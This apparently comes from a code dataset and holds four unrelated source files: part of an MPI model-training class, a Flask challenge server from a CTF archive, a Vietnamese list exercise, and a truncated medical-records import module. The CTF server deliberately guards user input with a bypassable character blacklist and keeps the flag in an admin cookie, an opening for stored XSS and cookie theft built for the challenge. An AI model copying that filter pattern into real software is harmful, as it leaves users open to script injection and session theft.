self.histories.get(self.history_key(),None):\n            epoch_logs = self.validate(self.weights)\n        if self.threaded_validation:\n            self.validation_queue.put(None)\n            self.validation_queue.join()\n            self.validation_thread.join()\n        self.save_checkpoint()\n        self.send_exit_to_parent()\n        self.send_history_to_parent()\n        self.data.finalize()\n        self.stop_time = time.time()\n        Trace.end(\"train\")\n\n    def record_details(self, json_name=None, meta=None):\n        ## for the uber master, save yourself\n        out_dict = { \"train_time\" : self.stop_time - self.start_time,\n                     \"history\":self.histories}\n        if meta is not None:\n            out_dict.update( meta )\n\n        if not json_name:\n            json_name = 'master-history-%s-%s.json'%(os.getpid(), self.start_time)\n\n        if self.model:\n            model_file = json_name.replace('.json','.model')\n            self.model.save( model_file )\n\n        if self.algo:\n            algo_file = json_name.replace('.json','.algo')\n            self.algo.save( algo_file )\n\n        with open( json_name, 'w') as out_file:\n            out_file.write( json.dumps(out_dict, indent=4, separators=(',',': ')) )\n\n        return self.histories\n\n    def validation_worker(self):\n        \"\"\"Main function of the validation thread\"\"\"\n        self.logger.debug(\"Validation thread started\")\n        while True:\n            item = self.validation_queue.get()\n            if item is None:\n                self.logger.debug(\"Validation thread signing off\")\n                self.validation_queue.task_done()\n                break\n            weights, model = item\n            try:\n                self.validate_aux(weights, model)\n            except Exception as e:\n                self.logger.error(e)\n            self.validation_queue.task_done()\n\n    def validate(self, weights):\n        if self.threaded_validation:\n            model = self.validation_model\n            self.validation_queue.put((weights, model))\n        else:\n            return self.validate_aux(weights, self.model)\n        \n    \n    def validate_aux(self, weights, model):\n        \"\"\"Compute the loss on the validation data.\n            Return a dictionary of validation metrics.\"\"\"\n        Trace.begin(\"validation\", \"VALIDATION\")\n        if self.has_parent:\n            return {}\n        model.set_weights(weights)\n\n        self.logger.debug(\"Starting validation\")\n        val_metrics = np.zeros((1,))\n        i_batch = 0\n        for i_batch, batch in enumerate(self.data.generate_data()):\n            new_val_metrics =  model.test_on_batch(x=batch[0], y =batch[1] )\n            if val_metrics.shape != new_val_metrics.shape:\n                val_metrics =  np.zeros(new_val_metrics.shape)\n            val_metrics += new_val_metrics\n            if self._short_batches and i_batch>self._short_batches: break\n        val_metrics = val_metrics / float(i_batch+1)\n        l = model.get_logs(val_metrics, val=True)\n        self.update_history( l )\n\n        if self.target_metric:\n            m,opp,v = self.target_metric\n            model,m= m.split(':') if ':' in m else (None,m)\n            r = self.history_key()\n            use = self.histories[r].get(model,None) if model else self.histories[r]\n            if use:\n                if m in use and ((opp=='>' and use[m][-1]>v) or (opp=='<' and use[m][-1]<v)):\n                    self.logger.debug(\"metric %s is %s %s, stop training\",str(m),str(opp), str(v))\n                    self.stop_training = True\n            else:\n                self.logger.error(\"fatal target stopping cannot get %s\", str(m))\n                MPI.COMM_WORLD.Abort()\n                \n        if self.patience:\n            m,opp,p = self.patience\n            p = int(p)\n            model,m=m.split(':') if ':' in m else (None,m)\n            r = self.history_key()            \n            use = self.histories[r].get(model,None) if model else self.histories[r]\n            ref = None\n            smooth = False\n            if use:\n                if m in use:\n                    if '~' in opp:\n                        smooth = True\n                        opp = opp.replace('~','')\n                        ## do the averaging\n                        if len(use[m])>=(2*p):\n                            ref = np.mean(use[m][-(2*p):-p])\n                            current = np.mean(use[m][-p:])\n                        else:\n                            if len(use[m])>=p:\n                                ref = use[m][-p]\n                                current = use[m][-1]\n                                current = None\n                    if ref is not None and current is not None and ((ref<current and opp=='<') or (ref>current and opp=='>')):\n                        logger.info(\"metric %s is over %s patience boundary: %s (ref) %s %s (current) %s\", str(m), str(p), str(ref), str(opp), str(current), \"with smoothing\" if smooth else \"\")\n                        self.stop_training = True\n                else:\n                    self.logger.error(\"fatal early stopping cannot get %s\", str(m))\n                    MPI.COMM_WORLD.Abort()\n            else:\n                self.logger.error(\"fatal early stopping cannot get %s\", str(m))\n                MPI.COMM_WORLD.Abort()\n        self.logger.info(\"Validation metrics:\")\n        self.print_metrics(val_metrics)\n        self.logger.debug(\"Ending validation\")\n        Trace.end(\"validation\", \"VALIDATION\")\n        return None\n\n    ### MPI-related functions below\n\n    def signal_children(self):\n        \"\"\"Sends each child a message telling them to start training\"\"\"\n        for child in range(1, self.child_comm.Get_size()):\n            self.send( obj=None, tag='train', dest=child, comm=self.child_comm )\n\n    def recv_any_from_child(self,status):\n        \"\"\"Receives any message from any child.  Returns the provided status object,\n            populated with information about received message\"\"\"\n        self.recv( tag='any', source=MPI.ANY_SOURCE, status=status, comm=self.child_comm )\n        return status\n\n    def recv_history_from_child(self, child):\n        return self.recv( tag='history', source=child, comm=self.child_comm )\n\n    def send_exit_to_child(self, child, comm=None):\n        if comm is None:\n            comm = self.child_comm\n        return comm.isend( None, dest=child, tag=self.lookup_mpi_tag('exit') )\n    \n    def build_model(self):\n        \"\"\"Builds the Keras model and updates model-related attributes\"\"\"\n\n        if self.threaded_validation:\n            self.validation_model = self.model_builder.build_model()\n            self.algo.compile_model( self.validation_model )\n        super(MPIMaster, self).build_model(local_session=self.threaded_validation)\n","repo_name":"vlimant/mpi_learn","sub_path":"mpi_learn/mpi/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":43687,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"77"}
+{"seq_id":"38236130032","text":"#!/usr/bin/env python3\nfrom flask import Flask, render_template, request, redirect\nfrom flask_hcaptcha import hCaptcha\nimport uuid\nimport os\n\nADMIN_COOKIE = os.environ.get('FLAG', 'X-MAS{test}')\n\napp = Flask (__name__)\n\nimages = [{'url': img_url, 'desc': 'meme'} for img_url in open(\"images.txt\", \"r\").read().strip().split(\"\\n\")]\n\npending_images = {} # id: image obj\n\n@app.route ('/', methods = ['GET'])\ndef index():\n    return render_template (\"index.html\", images=images)\n\n\n@app.route ('/submit', methods = ['GET', 'POST'])\ndef submit():\n    if request.method == 'GET':\n        return render_template (\"submit.html\")\n\n    image_url = request.form.get('url')\n    image_desc = request.form.get('desc')\n    if not isinstance(image_url, str) or not isinstance(image_desc, str) or len(image_url) > 256 or len(image_url) < 8:\n        return 'NOPE'\n\n    if len(image_desc) > 164 or len(image_desc) < 4:\n        return 'NOPE'\n\n    blacklist = ['src', '\"', \"'\", '+', '\\\\', '[', ']', '-']\n    for blacklist_thing in blacklist:\n        if blacklist_thing in image_desc.lower():\n            return 'NOPE'\n\n    if 'script' in image_desc or 'nonce' in image_desc:\n        return 'NOPE (according to our latest security audit)'\n\n    image_id = str(uuid.uuid4())\n    image_obj = { 'url': image_url, 'desc': image_desc }\n    pending_images[image_id] = image_obj\n    return render_template (\"submit.html\", message=f\"Image {image_id} submitted successfully.\")\n\n\n@app.route ('/list', methods = ['GET'])\ndef list():\n    if request.cookies.get('admin_cookie', False) != ADMIN_COOKIE:\n        return 'NOPE'\n    return render_template (\"list.html\", image_ids=[_ for _ in pending_images.keys()])\n\n\n@app.route ('/api/unapproved/<image_id>', methods = ['GET'])\ndef unapprovedImage(image_id):\n    return pending_images.pop(image_id)\n\n\n@app.route ('/image/<image_id>', methods = ['GET', 'POST', 'DELETE'])\ndef image(image_id):\n    if request.method == 'GET':\n        if request.cookies.get('admin_cookie', False) != ADMIN_COOKIE or pending_images.get(image_id, False) == False:\n            return 'NOPE'\n        return render_template (\"image_review.html\", image_id=image_id, title=pending_images[image_id]['desc'])\n\n    action = request.form.get('action')\n    if not isinstance(action, str) or action not in ['APPROVE', 'REJECT']:\n        return 'NOPE'\n\n    if action == \"REJECT\":\n        pending_images.pop(image_id)\n    \n    return redirect(\"/list\", code=302)\n\n\nif __name__ == '__main__':\n    app.run (host = '127.0.0.1', port = 2000)\n","repo_name":"sajjadium/ctf-archives","sub_path":"ctfs/X-MAS/2021/web/imagehub/files/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","stars":490,"dataset":"github-code","pt":"77"}
+{"seq_id":"8122276740","text":"\"\"\"\nViết chương trình cho phép:\n    - Khởi tạo list\n    - Thêm phần tử vào list\n    - Nhập K, kiểm tra K xuât hiện bao nhiêu lần trong list\n    - Tính tổng các số nguyên tố trong list\n    - Sắp xếp\n    - Xóa list\n\"\"\"\nfrom random import randrange\n\nprint(\"Chương trình xử lý list\")\nn = int(input(\"Nhập só phần tử: \"))\nlst = [0] * n\nfor i in range(n):\n    lst[i] = randrange(-100, 100)\nprint(\"List đa chiều ngẫu nhiên:\")\nprint(lst)\nprint(\"Mời bạn nhập thêm số mới:\")\nvalue = int(input())\nlst.append(value)\nprint(lst)\nprint(\"Bạn muốn đếm số nào\")\nk = int(input())\ncnt = lst.count(k)\nprint(k, \"Xuất hiện trong list: \", cnt, \"lần\")\n\n\ndef CheckPrime(n):\n    d = 0\n    for i in range(1, n + 1):\n        if n % i == 0:\n            d += 1\n    return d == 2\n\n\ncnt = 0\nsnt = 0\nfor j in lst:\n    if CheckPrime(j):\n        cnt += 1\n        snt += j\nprint(\"Có \", cnt, \"số nguyên tố trong list\")\nprint(\"Tổng =\", snt)\nlst.sort()\nprint(\"List sau khi sort\")\nprint(lst)\n\ndel lst\nprint(\"List sau khi xóa\")\nprint(lst)\n","repo_name":"thanh-falis/Python","sub_path":"bai__83+84/BaiTapRenLuyenXuLyList.py","file_name":"BaiTapRenLuyenXuLyList.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40421351599","text":"# -*- coding: utf-8 -*-\nimport string\nfrom library.AgeSelector import convertAgeSelectorToAgeRange\nfrom Cimport import *\nfrom Utils import *\nfrom Ui_ImportEIS import Ui_Dialog\n\n\ndef ImportEIS(widget):\n    try:\n        setEIS_db()\n        dlg=CImportEIS(widget, QtGui.qApp.EIS_db)\n        dlg.exec_()\n    except:\n        QtGui.qApp.logCurrentException()\n        EIS_close()\n\n\nclass CFileLog(object):\n    def __init__(self, parent, fileName=None, fnWithDate=False):\n        assert isinstance(parent, QtGui.QWidget)\n        self.logFile   = None\n        self.logStream = None\n        self.isTurnOn  = True\n        self.addCurrentDateToFileName = fnWithDate\n        self.parent = parent\n        self.fileName  = None\n        if fileName:\n            self.setFile(fileName)\n\n\n    def turnOn(self):\n        self.isTurnOn = True\n\n    def turnOff(self):\n        self.isTurnOn = False\n\n    def setFile(self, fileName):\n        try:\n            self.fileName = fileName\n            if self.addCurrentDateToFileName:\n                cdStr = forceString(QtCore.QDate.currentDate())\n                if fileName[-4:] == '.log':\n                    fileName = fileName[:-4]\n                fileName = fileName+'_'+cdStr+'.log'\n            logFile = QtCore.QFile(fileName)\n            logFile.open(QtCore.QFile.WriteOnly | QtCore.QFile.Text)\n        except:\n            logFile = None\n            self.logStream = None\n            self.fileName  = None\n            QtGui.QMessageBox.critical(self.parent,\n                                 u'Внимание!',\n                                 u'Не удалось открыть файл \"%s\" на запись'%fileName,\n                                 QtGui.QMessageBox.Ok,\n                                 QtGui.QMessageBox.Ok)\n        self.logFile = logFile\n        if bool(self.logFile):\n            self.logStream = QtCore.QTextStream(self.logFile)\n\n    def getDatetimePart(self):\n        if self.addCurrentDateToFileName:\n            return unicode(QTime.currentTime().toString('hh:mm:ss'))\n        return unicode(QDateTime.currentDateTime().toString('dd.MM.yyyy hh:mm:ss'))\n\n    def addMessage(self, msg):\n        if self.isTurnOn and self.logStream:\n            self.logStream << self.getDatetimePart() << '---'\n            self.logStream << msg << '\\n'\n            self.logStream.flush()\n\n    def addErrorMessage(self, msg):\n        self.addMessage(msg)\n\n    def close(self):\n        self.logFile.close()\n\n\nclass CImportEIS(CEISimport, QtGui.QDialog, Ui_Dialog):\n    def __init__(self, parent, EIS_db):\n        QtGui.QDialog.__init__(self, parent)\n        self.setupUi(self)\n        self.setupAges()\n\n        CImport.__init__(self, self.logBrowser)\n        self.progressBar.setFormat('%v')\n        self.fileLog = CFileLog(self, fileName='importEIS.log', fnWithDate=False)\n        self.EIS_db=EIS_db\n        self.EP_NUMBER=''\n        self.ID_HISTORY=''\n        self.ID_PATIENT=''\n        self.TOWN_KLADR={}\n        self.OBL_TOWN_KLADR={}\n        self.smo_id={}\n        self.tableClientIdentification=tbl('ClientIdentification')\n        self.ClientIdentification_EP_NUMBER=forceInt(QtGui.qApp.db.translate('rbAccountingSystem', 'code', 1, 'id'))\n        self.ClientIdentification_ID_HISTORY=forceInt(QtGui.qApp.db.translate('rbAccountingSystem', 'code', 2, 'id'))\n        self.ClientIdentification_ID_PATIENT=forceInt(QtGui.qApp.db.translate('rbAccountingSystem', 'code', 3, 'id'))\n        self.identDate=None\n        tm=EIS_db.query('select * from TARIFF_MONTH')\n        if tm.next():\n            TARIFF_MONTH=tm.record()\n            ID_TARIFF_MONTH=TARIFF_MONTH.value('ID_TARIFF_MONTH').toInt()[0]\n            TARIFF_MONTH_BEG=get_date(TARIFF_MONTH.value('TARIFF_MONTH_BEG'))\n            TARIFF_MONTH_END=get_date(TARIFF_MONTH.value('TARIFF_MONTH_END'))\n            self.identDate=TARIFF_MONTH_END\n            self.label_eis_mon.setText(\n                    u'тарифный месяц ЕИС: '+str(ID_TARIFF_MONTH)+' ('+str(TARIFF_MONTH_BEG)+' - '+str(TARIFF_MONTH_END)+')')\n\n\n    def setupAges(self):\n        lowAge = 0\n        highAge = 0\n\n        netId = getOrgStructureNetId(QtGui.qApp.currentOrgStructureId())\n        if netId:\n            net = CNet(netId)\n            if net.age:\n                begAge, endAge = convertAgeSelectorToAgeRange(net.age)\n                self.edtAgeFrom.setValue(begAge)\n                self.edtAgeTo.setValue(endAge)\n\n\n\n    def startImport(self):\n        EIS_db=self.EIS_db\n        if not EIS_db:\n            return\n        if self.chkLogImportRefuse.isChecked():\n            self.fileLog.turnOn()\n        else:\n            self.fileLog.turnOff()\n        QtGui.qApp.processEvents()\n        TMONTH=forceInt(getVal(QtGui.qApp.preferences.appPrefs, 'TMONTH', 0))\n        self.TMONTH=TMONTH\n        cur_TMONTH=0\n        self.importMU=self.cmbPart.currentIndex() == 1\n        onlyNew=self.chkOnlyNew.isChecked()\n        today = QDate.currentDate()\n        lowBirthdayStr=EIS_db.formatDate(today.addYears(-self.edtAgeTo.value()))\n        highBirthdayStr=EIS_db.formatDate(today.addYears(-self.edtAgeFrom.value()))\n        self.putSize(onlyNew, lowBirthdayStr, highBirthdayStr)\n        n=0\n        smoFields=\"\"\", SMO.SMO_SHORT_NAME, SMO.SMO_LONG_NAME, SMO.INN, SMO.OKPO, SMO.ADDRESS, SMO.JUR_ADDRESS, SMO.CODE, SMO.KPP, SMO.IS_ACTIVE, SMO.REMARK, SMO.LIC_NUMBER, SMO.LIC_DATE_BEG, SMO.LIC_DATE_END, SMO.BANK, SMO.FILIAL, SMO.BIK, SMO.PC, SMO.PC2\"\"\"\n\n        if self.importMU:\n            stmt=\"\"\"\nSELECT\nPATIENTS.ID_PATIENT, PATIENTS.ID_EIS_OMS AS ID_HISTORY, PATIENT_DATA.EP_NUMBER,\nPATIENT_DATA.SURNAME, PATIENT_DATA.NAME, PATIENT_DATA.SECOND_NAME, PATIENT_DATA.BIRTHDAY, PATIENT_DATA.SEX,\nPATIENT_DATA.ID_DOC_TYPE, PATIENT_DATA.SERIA_LEFT, PATIENT_DATA.SERIA_RIGHT, PATIENT_DATA.DOC_NUMBER,\nPATIENT_DATA.ID_ADDRESS_REG AS ID_ADDRESS_REGISTRATION, PATIENT_DATA.ID_ADDRESS_LOC AS ID_ADDRESS_LOCATION,\nPATIENT_DATA.SNILS,\nPATIENT_POLIS.POLIS_SERIA, PATIENT_POLIS.POLIS_NUMBER, PATIENT_POLIS.ID_SMO, PATIENT_POLIS.SMO_NAME\n\"\"\"+smoFields+\"\"\"\nFROM\nPATIENTS\nLEFT JOIN PATIENT_DATA ON PATIENT_DATA.ID_PATIENT=PATIENTS.ID_PATIENT\nLEFT JOIN PATIENT_POLIS ON PATIENT_POLIS.ID_PATIENT=PATIENTS.ID_PATIENT\nLEFT JOIN SMO ON SMO.ID_SMO=PATIENT_POLIS.ID_SMO\n            \"\"\"\n        else:\n            stmt=\"\"\"\nSELECT\nPEOPLE.ID_HISTORY, PEOPLE.EP_NUMBER,\nPEOPLE.SURNAME, PEOPLE.NAME, PEOPLE.SECOND_NAME, PEOPLE.SEX, PEOPLE.BIRTHDAY,\nPEOPLE.ID_SMO, PEOPLE.POLIS_SERIA, PEOPLE.POLIS_NUMBER, PEOPLE.POLIS_BEGIN_DATE, PEOPLE.POLIS_END_DATE,\nPEOPLE.ID_DOC_TYPE, PEOPLE.SERIA_LEFT, PEOPLE.SERIA_RIGHT, PEOPLE.DOC_NUMBER,\nPEOPLE.ID_ADDRESS_REGISTRATION, PEOPLE.ID_ADDRESS_LOCATION,\nPEOPLE.TMONTH_BEGIN, PEOPLE.ID_HUMAN_TYPE,\nPEOPLE.ID_LPU AS MIAC_CODE\n\"\"\"+smoFields+\"\"\"\nFROM\nPEOPLE\nLEFT JOIN SMO ON SMO.ID_SMO=PEOPLE.ID_SMO\n\"\"\"\n        if self.importMU:\n#            if onlyNew:\n            stmt+=\"\"\"\n            WHERE NOT EXISTS (SELECT * FROM PEOPLE WHERE\n            (PEOPLE.ID_HISTORY IS NOT NULL AND PEOPLE.ID_HISTORY=PATIENTS.ID_EIS_OMS) OR\n            (PEOPLE.EP_NUMBER IS NOT NULL AND PEOPLE.EP_NUMBER=PATIENT_DATA.EP_NUMBER))\n            AND PATIENT_DATA.BIRTHDAY BETWEEN %s AND %s\"\"\" % (lowBirthdayStr, highBirthdayStr)\n        else:\n            stmt+='WHERE PEOPLE.BIRTHDAY BETWEEN %s AND %s' % (lowBirthdayStr, highBirthdayStr)\n            if onlyNew:\n                stmt+=' AND PEOPLE.TMONTH_BEGIN>='+str(TMONTH)\n#                stmt+=' AND EP_NUMBER=7801955122900256'\n            stmt+=' ORDER BY PEOPLE.TMONTH_BEGIN'\n        query = EIS_db.query(stmt)\n        query.setForwardOnly(True)\n        num=query.size()\n        QtGui.qApp.db.transaction()\n        try:\n            self.num_added=0\n            self.num_found=0\n            self.num_fixed=0\n            while query.next():\n                QtGui.qApp.processEvents()\n                if self.abort:\n                    break\n                n+=1\n                if self.num<=0:\n                    self.labelNum.setText(u'всего записей в источнике: '+str(n))\n                self.n=n\n\n                if n % 50 == 0:\n                    QtGui.qApp.db.commit()\n                    TMONTH=max(TMONTH, cur_TMONTH)\n                    QtGui.qApp.db.transaction()\n\n                record = query.record()\n                self.record=record\n\n                if not self.importMU:\n                    cur_TMONTH=record.value('TMONTH_BEGIN').toInt()[0]\n                    self.label_cur_mon.setText(u'загруженный тарифный месяц: '+str(cur_TMONTH))\n\n                clientId=self.processClientId()\n                if clientId:\n                    ID_ADDRESS_REGISTRATION=record.value('ID_ADDRESS_REGISTRATION')\n                    ClientAddressFields=self.getClientAddressFields(clientId, ID_ADDRESS_REGISTRATION)\n                    if ClientAddressFields:\n                        findAndUpdateOrCreateRecord(self.tableClientAddress, ClientAddressFields+[('type', 0)])\n                    ID_ADDRESS_LOCATION=record.value('ID_ADDRESS_LOCATION')\n                    if ID_ADDRESS_LOCATION!=ID_ADDRESS_REGISTRATION:\n                        ClientAddressFields=self.getClientAddressFields(clientId, ID_ADDRESS_LOCATION)\n                    if ClientAddressFields:\n                        findAndUpdateOrCreateRecord(self.tableClientAddress, ClientAddressFields+[('type', 1)])\n\n                self.progressBar.setValue(n)\n                statusText = u'добавлено %d, найдено %d, исправлено %d' \\\n                    % (self.num_added, self.num_found, self.num_fixed)\n                self.statusLabel.setText(statusText)\n        finally:\n            QtGui.qApp.db.commit()\n            self.fileLog.close()\n        if not self.importMU:\n            TMONTH=max(TMONTH, cur_TMONTH)\n            QtGui.qApp.preferences.appPrefs['TMONTH'] = toVariant(TMONTH)\n        self.progressBar.setValue(n-1)\n\n\n\n    def err2log(self, e, errorInfo=None):\n        if self.log:\n            s = (\"; ID_PATIENT = \"+self.ID_PATIENT) if self.importMU else \"\"\n            errorMessage = u'запись '+str(self.n)+' (EP_NUMBER = '+self.EP_NUMBER+'; ID_HISTORY = '+str(self.ID_HISTORY)+s+'): '+e\n            self.log.append(errorMessage)\n            if errorInfo:\n                self.fileLog.addErrorMessage(errorMessage+'\\n'+errorInfo)\n\n\n    def getClientIdentificationId(self, identifier, accountingSystemId):\n        if not identifier:\n            return None\n        cond='identifier=\\'%s\\' and accountingSystem_id=%d' % (identifier, accountingSystemId)\n        ident=self.db.getRecordEx(self.tableClientIdentification, '*', cond)\n        if ident:\n            clientId=ident.value('client_id').toInt()[0]\n            if self.identDate and not self.importMU:\n                ident.setValue('checkDate', toVariant(self.identDate))\n                self.db.updateRecord(self.tableClientIdentification, ident)\n            return clientId\n        return None\n\n\n    def getIdentClient(self, EP_NUMBER, ID_HISTORY=None, ID_PATIENT=None):\n        id1=self.getClientIdentificationId(EP_NUMBER, self.ClientIdentification_EP_NUMBER)\n        id2=self.getClientIdentificationId(ID_HISTORY, self.ClientIdentification_ID_HISTORY)\n        id3=self.getClientIdentificationId(ID_PATIENT, self.ClientIdentification_ID_PATIENT)\n        return (id1, id2, id3)\n\n\n    def getInsurer(self):\n        record=self.record\n        ID_SMO=record.value('ID_SMO').toInt()[0]\n        if not ID_SMO:\n            return None\n        insurerId=None\n        org_id=self.smo_id.get(ID_SMO, -1)\n        if org_id != -1:\n            return org_id\n        org_id=None\n        SMO_SHORT_NAME=forceString(record.value('SMO_SHORT_NAME'))\n        SMO_LONG_NAME=forceString(record.value('SMO_LONG_NAME'))\n        insurerId=self.get_insurerId(SMO_SHORT_NAME)\n        INN=forceString(record.value('INN'))\n        CODE=forceString(record.value('CODE'))\n        if not insurerId:\n            OKPO=forceString(record.value('OKPO'))\n            ADDRESS=forceString(record.value('ADDRESS'))\n            JUR_ADDRESS=forceString(record.value('JUR_ADDRESS'))\n            KPP=forceString(record.value('KPP'))\n            if INN:\n                insurerId=self.getOrganisationId(INN, 'shortName', SMO_SHORT_NAME)\n                if not insurerId:\n                    insurerId=self.getOrganisationId(INN, 'title', SMO_SHORT_NAME)\n                if not insurerId:\n                    insurerId=self.getOrganisationId(INN, 'shortName', SMO_LONG_NAME)\n                if not insurerId:\n                    insurerId=self.getOrganisationId(INN, 'fullName', SMO_LONG_NAME)\n        if not insurerId and CODE:\n            insurerId=forceInt(QtGui.qApp.db.translate('Organisation', 'infisCode', CODE, 'id'))\n\n        if insurerId:\n            IS_ACTIVE=forceString(record.value('IS_ACTIVE'))\n            tblOrg=tbl('Organisation')\n            cond=[tblOrg['id'].eq(toVariant(insurerId))]\n            record=QtGui.qApp.db.getRecordEx(tblOrg, '*', where=cond)\n            if IS_ACTIVE=='1':\n                REMARK=forceString(record.value('REMARK'))\n                LIC_NUMBER=forceString(record.value('LIC_NUMBER'))\n                LIC_DATE_BEG=forceDate(record.value('LIC_DATE_BEG'))\n                LIC_DATE_END=forceDate(record.value('LIC_DATE_END'))\n                KPP=forceString(record.value('KPP'))\n                notes=REMARK+u'; лиц. '+LIC_NUMBER+u', с '+forceString(LIC_DATE_BEG)+u' по '+forceString(LIC_DATE_END)\n                record.setValue('notes', toVariant(notes))\n                record.setValue('infisCode', toVariant(CODE))\n                record.setValue('title', toVariant(SMO_SHORT_NAME))\n                record.setValue('shortName', toVariant(SMO_SHORT_NAME))\n                record.setValue('fullName', toVariant(SMO_LONG_NAME))\n                record.setValue('INN', toVariant(INN))\n                record.setValue('KPP', toVariant(KPP))\n                BIK=forceString(record.value('BIK'))\n                BANK=forceString(record.value('BANK'))\n                FILIAL=forceString(record.value('FILIAL'))\n                if FILIAL==u'-':\n                    FILIAL=u''\n                PC2=forceString(record.value('PC2'))\n                tblBank=tbl('Bank')\n                BankFields=[('BIK', BIK), ('branchName', FILIAL)]\n                BankFields2=[('name', BANK), ('corrAccount', PC2), ('subAccount', '')]\n                BankId=findAndUpdateOrCreateRecord(tblBank, BankFields, BankFields2)\n                tblOrganisation_Account=tbl('Organisation_Account')\n                Organisation_AccountFields=[\n                    ('organisation_id', insurerId), ('bankName', BANK), ('name', PC2),\n                    ('bank_id', BankId)]\n                Organisation_AccountId=getId(tblOrganisation_Account, Organisation_AccountFields)\n            else:\n                record.setValue('notes', toVariant(u'не действует'))\n            QtGui.qApp.db.updateRecord(tblOrg, record)\n\n\n        self.smo_id[ID_SMO]=insurerId\n        return insurerId\n\n\n    def getClientAddressFields(self, clientId, ID_ADDRESS_RECORD):\n        ID_ADDRESS = (\"'\"+forceString(ID_ADDRESS_RECORD)+\"'\") if self.importMU else ID_ADDRESS_RECORD.toInt()[0]\n        EIS_db=self.EIS_db\n        str1=\"\"\",\nOBL_TOWN.OBL_TOWN_CODE, OBL_TOWN.OBL_TOWN_NAME, OBL_TOWN.OBL_TOWN_TYPE,\nTOWN.TOWN_NAME, GEONIM_NAME.GEONIM_NAME, T_GEONIM.GEONIM_TYPE_NAME\n        \"\"\"\n        str2=\"\"\"\nLEFT JOIN TOWN ON TOWN.ID_TOWN=PREFIX.ID_TOWN\nLEFT JOIN GEONIM_NAME ON GEONIM_NAME.ID_GEONIM_NAME=PREFIX.ID_GEONIM_NAME\nLEFT JOIN T_GEONIM ON T_GEONIM.ID_GEONIM_TYPE=PREFIX.ID_GEONIM_TYPE\n        \"\"\"\n        if self.importMU:\n            stmt=\"\"\"\nSELECT\nPATIENT_ADDRESS.ADDRESS_TYPE, PATIENT_ADDRESS.FLAT, PATIENT_ADDRESS.UNSTRUCT_ADDRESS, PATIENT_ADDRESS.ID_OKATO_REGION AS REGION_CODE,\nPATIENT_ADDRESS.HOUSE, PATIENT_ADDRESS.KORPUS\n\"\"\"+str1+\"\"\"\nFROM\nPATIENT_ADDRESS\nLEFT JOIN OBL_TOWN ON OBL_TOWN.ID_OBL_TOWN=PATIENT_ADDRESS.ID_OBL_TOWN\nLEFT JOIN PREFIX ON PREFIX.ID_PREFIX=PATIENT_ADDRESS.ID_PREFIX\n\"\"\"+str2+\"\"\"\nWHERE\nPATIENT_ADDRESS.ID_ADDRESS=\"\"\"+unicode(ID_ADDRESS)\n        else:\n            stmt=\"\"\"\nSELECT\nADDRESSES.ADDRESS_TYPE, ADDRESSES.FLAT, ADDRESSES.UNSTRUCT_ADDRESS, ADDRESSES.REGION_CODE,\nHOUSE.HOUSE, HOUSE.KORPUS\n\"\"\"+str1+\"\"\"\nFROM\nADDRESSES\nLEFT JOIN HOUSE ON HOUSE.ID_HOUSE=ADDRESSES.ID_HOUSE\nLEFT JOIN PREFIX ON PREFIX.ID_PREFIX=HOUSE.ID_PREFIX\nLEFT JOIN OBL_TOWN ON OBL_TOWN.ID_OBL_TOWN=ADDRESSES.ID_OBL_TOWN\n\"\"\"+str2+\"\"\"\nWHERE\nADDRESSES.ID_ADDRESS_RECORD=\"\"\"+str(ID_ADDRESS)\n        query = EIS_db.query(stmt)\n        query.setForwardOnly(True)\n        if not query.next():\n            return None\n        record = query.record()\n        UNSTRUCT_ADDRESS=forceString(record.value('UNSTRUCT_ADDRESS'))\n        HOUSE=forceString(record.value('HOUSE'))\n        FLAT=forceString(record.value('FLAT'))\n        if not HOUSE or not FLAT:\n            return None\n\n        KLADRCode=None\n        REGION_CODE=record.value('REGION_CODE').toInt()[0]\n        if REGION_CODE==78:\n            if UNSTRUCT_ADDRESS[:18]==u'г.Санкт-Петербург ':\n                KLADRCode='7800000000000'\n            else:\n                TOWN_NAME=forceString(record.value('TOWN_NAME'))\n                KLADRCode=self.getTOWN_KLADR(TOWN_NAME)\n        elif REGION_CODE==47:\n            OBL_TOWN_NAME=forceString(record.value('OBL_TOWN_NAME'))\n            OBL_TOWN_TYPE=forceString(record.value('OBL_TOWN_TYPE'))\n            KLADRCode=self.getOBL_TOWN_KLADR(OBL_TOWN_NAME, OBL_TOWN_TYPE)\n\n        if KLADRCode:\n            KLADRStreetCode=None\n            GEONIM_NAME=getGEONIM_NAME(record.value('GEONIM_NAME'))\n            GEONIM_TYPE_NAME=forceString(record.value('GEONIM_TYPE_NAME'))\n            if GEONIM_TYPE_NAME==u'-':\n                GEONIM_TYPE_NAME=u'ул.'\n            if GEONIM_NAME and GEONIM_TYPE_NAME:\n                street=GEONIM_NAME+' '+GEONIM_TYPE_NAME\n                KLADRStreetCode=forceString(self.get_KLADRStreetCode(street, KLADRCode, None))\n            if not KLADRStreetCode and UNSTRUCT_ADDRESS:\n                street=get_street(UNSTRUCT_ADDRESS)\n                if street:\n                    KLADRStreetCode=forceString(self.get_KLADRStreetCode(street, KLADRCode, None))\n\n            if KLADRStreetCode:\n                KORPUS=forceString(record.value('KORPUS'))\n                houseFields=[\n                    ('KLADRCode', KLADRCode), ('KLADRStreetCode', KLADRStreetCode),\n                    ('number', HOUSE)]\n                if KORPUS:\n                    houseFields.append(('corpus', KORPUS))\n                houseId=getId(self.tableAddressHouse, houseFields)\n                if houseId:\n                    addressFields=[('house_id', houseId), ('flat', FLAT)]\n                    addressId=getId(self.tableAddress, addressFields)\n                    if addressId:\n                        clientAddressFields=[('client_id', clientId), ('address_id', addressId)]\n                        if UNSTRUCT_ADDRESS:\n                            clientAddressFields.append(('freeInput', UNSTRUCT_ADDRESS))\n                        return clientAddressFields\n\n        if UNSTRUCT_ADDRESS:\n            clientAddressFields=[('client_id', clientId), ('freeInput', UNSTRUCT_ADDRESS)]\n            return clientAddressFields\n\n        return None\n\n    def getOBL_TOWN_KLADR(self, OBL_TOWN_NAME, OBL_TOWN_TYPE):\n        if not OBL_TOWN_NAME or not OBL_TOWN_TYPE:\n            return None\n        key=(OBL_TOWN_NAME, OBL_TOWN_TYPE)\n        KLADRCode=self.OBL_TOWN_KLADR.get(key, -1)\n        if KLADRCode != -1:\n            return KLADRCode\n        KLADRCode=None\n        